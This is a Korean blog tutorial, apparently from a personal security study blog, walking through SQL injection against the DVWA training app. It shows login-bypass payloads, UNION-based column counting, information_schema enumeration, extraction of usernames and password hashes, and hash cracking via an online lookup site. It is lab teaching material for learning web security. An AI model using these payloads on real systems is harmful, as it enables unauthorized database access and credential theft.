본문 바로가기

정보보안/WebHacking

[정보보안][웹해킹] DVWA를 통한 SQL Injection

728x90

1. SQL Injection 방법

 

1. 주석의 활용

 

- MySQL, MariaDB : #을 주석으로 사용

- Oracle, MS-SQL : --을 주석으로 사용

 

2. where 조건절이 참이 되도록 만듦 -

 

--> '참'은 모든 데이터를 의미함

ex) id='admin' and pw=''or 1=1 #'

 

3. 중첩문을 사용

 

SELECT ~~~ UNION  SELECT ~~~

 

앞의 SELECT 문에서 요청한 컬럼의 개수와 뒤의 SELECT문에서 요청하는 컬럼의 개수가 같아야 한다.

 

SELECT ~~~~~~ ';  UPDATE ~~~~~

 

위와 같이 SELECT 문을 닫고 UPDATE문을 작성할 수도 있다.

 

 


2.  SQL Injection

 

SQL Injection을 사용하기에 앞서 DVWA 가상환경을 다운로드 받아보자.

 

- 설치 관련 문서

https://github.com/ethicalhack3r/DVWA

 

GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)

Damn Vulnerable Web Application (DVWA). Contribute to digininja/DVWA development by creating an account on GitHub.

github.com

 

- DVWA Download

git clone https://github.com/ethicalhack3r/DVWA

 

GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)

Damn Vulnerable Web Application (DVWA). Contribute to digininja/DVWA development by creating an account on GitHub.

github.com

 

설치가 되었다면 SQL Injection 탭을 눌러 시도해보자.

 

SELECT firstname, surname FROM ??? WHERE userid=' ';

 

SQL 구문은 위와 같은 형태를 띄고 있다.

 

userid=' '; 부분에서 id인증을 우회하거나 아예 참으로 만들어서

 

모든 유저의 정보를 캐낼 수 있을 것이다.

 

SQL Injection

 

그렇다면 어떻게 인증을 우회할까?

 

SQL injection 구문은 여러가지가 있다.

 

대표적인 예시로

 

' or 1=1 #

' or 2>1 #

' or true #

' or 'a'='a' #

' or 'a'='a

' or 'S'>'R

' or 1=1 --'

 

정도가 있겠다.

 

* SQL Injection에서 줄바꿈(\r\n)도 사용할 수 있겠다.

 

SELECT  firstname,surname  FROM ???  WHERE  userid='' or 1=1 #';

 

SQL Injection 성공

 

이렇게 여러 유저들의 정보를 알아볼 수 있게 되었다.

 

그렇다면 이미 아이디를 아는 유저의 패스워드 인증은 어떻게 우회할까?

 

select * from ? where id='webmaster' and pw='['or 1=1 --]';
select * from ? where id='[webmaster' or 1=1 --]' and pw=' ';
select * from ? where id='[webmaster' --]' and pw=' ';

 

이렇게 id에서 pw검증 부분을 주석처리 하는 방법이 있고,

 

pw부분에서 SQL Injection을 하는 방법이 있다.

 


3. SQL Injection을 통한 DB 침투

 

DVWA에 대해 침투를 해보자.

 

select * from ? where id='' having 1=1 --' and pw=' ';

 

having문 앞에는 group by가 먼저 와야한다.

 

이렇게 group by 없이 having을 사용하면 error가 발생한다.

 

Error

---> DB, Table, Column정보 획득 (MySQL)

 

* 스키마에 DB, Table, Column에 대한 정보가 저장되어 있음

- information_schema라는 스키마가 있음
- DB는 table_schema로 저장
- Table은 table_name, column은 column_name이라는 컬럼명을 사용
- Table에 대한 정보는 tables라는 테이블에 있고
- column에 대한 정보는 columns라는 테이블에 있음

 

그럼 지금부터 DB의 정보를 차근차근 알아내보자.

 

1. 앞 SELECT문에서 사용한 컬럼의 개수는?

 

SELECT  firstname,surname  FROM ???  WHERE  userid='' union select ~~~~';

 

컬럼의 개수를 찾기 위해 select문에 null값을 하나씩 추가해서 넣어보자.

 

'union select null #
'union select null,null #                  # 성공
'union select null,null,null #

 

different columns

 

성공

 

null의 개수가 두 개일 때 First name과 Surname인 Column 두 개를 사용한다.

 

2. DB이름 알아내기

 

- 내장 함수 활용: database(), @@version, version(), user() 등

 

'union select database(), version() #

 

 

DB 정보 확인

 

DB는 dvw를 사용하고 버전은 Ubuntu0.20.04.1 인 것을 알 수 있다.

 

3. Table이름 알아내기 (스키마)

 

이제 Table 이름을 알아내보자.

 

' union  select  table_name,null  from  information_schema.tables  #

' union  select  table_name,null  from  information_schema.tables  where table_schema='dvwa'  #
---> guestbok, users

 

dvwa에서의 table_name

 

아마 첫번째 문장을 실행하면 매우 많은 컬럼이 화면에 나타날 것이다.

 

그래서 dvwa schema 안에서만 찾아보았다.

 

결과적으로 guestbook 과 users라는 Table을 찾았다.

 

4. Column이름 알아내기

 

' union select column_name,null from information_schema.columns #

' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users' #       ---> 특정 table의 Column

 

Column names

 

다양한 Column들이 있다. user과 password에 대한 내용도 확인할 수 있다.

 

자 그럼 이제 로그인 ID와 Password를 추출해보자.

 

5. 로그인 ID(user)와 패스워드(password)를 추출하기

 

' union select user,password from users #

 

ID & Password

 

드디어 모든 정보를 찾았다.

 

하지만 패스워드가 조금 이상하다.

 

해쉬값으로 보이는 값들이 있는데 이 값들은 어떻게 해석할 수 있을까?

 

예를 들어 gordonb의 비밀번호를 찾아내도록 하겠다.

 

6. 비밀번호 해쉬 디코딩

 

www.hashes.com  

 

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online

Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked

hashes.com

 

위 사이트에서는 데이터베이스에 있는 자료를 바탕으로 해쉬값을 해석해준다.

 

해쉬값은 원래 역연산이 불가능하기 때문에, 미리 만들어놓은 값을 쓴 것이다.

 

이제 확인해보면

 

해쉬값

 

비밀번호는 abc123인 것을 알 수 있다.

 

참고)
hash값이 서로 일치한다면 원문이 같다는 증거다.

* 리눅스 운영체제

- 사용자의 패스워드를 저장할 때 salt를 추가해서 해시값을 생성
-패스워드가 같아도 salt가 다르면 다른 해시값으로 저장됨

 

728x90